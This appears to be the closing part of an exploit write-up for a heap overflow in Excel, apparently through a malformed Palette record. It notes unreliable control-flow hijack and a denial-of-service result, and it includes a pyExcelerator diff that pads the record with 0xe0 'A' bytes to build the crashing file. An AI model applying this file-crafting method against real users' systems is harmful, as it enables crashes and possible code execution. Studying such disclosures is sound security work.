Arbitary Data will be overwritten to the heap, but arbitary data is highly depends on the stack status !
Result of heap overflow, you can overwrite 2 bytes to restricted range address ( not anywhere )
In *CERTAIN* environment( such as open excel file which is already opened)
you can catch the flow by modify function pointer, but it doesn\’t have a reliablity at all
Let me know if you have a good method to break down

Result

DOS

Notes
#####
You should modify pyExcelerator module because it doesn\’t generate Palette Record
pyExcelerator diff results would be like below
diff h:\\study\\pyexcelerator-0.6.3a\\pyExcelerator-0.6.3a\\build\\lib\\pyExcelerator\\BIFFRecords.py pyExcelerator\\BIFFRecords.py
1104a1105,1108
> def __init__(self):
> BiffRecord.__init__(self)
> self._rec_data = pack(\'<H\’, 0x0038) # number of colours
> self._rec_data = \’A\’ * 0xe0
diff h:\\study\\pyexcelerator-0.6.3a\\pyExcelerator-0.6.3a\\build\\lib\\pyExcelerator\\Workbook.py pyExcelerator\\Workbook.py
468,469c468
< result = \’\’
< return result
—
> return BIFFRecords.PaletteRecord().get()
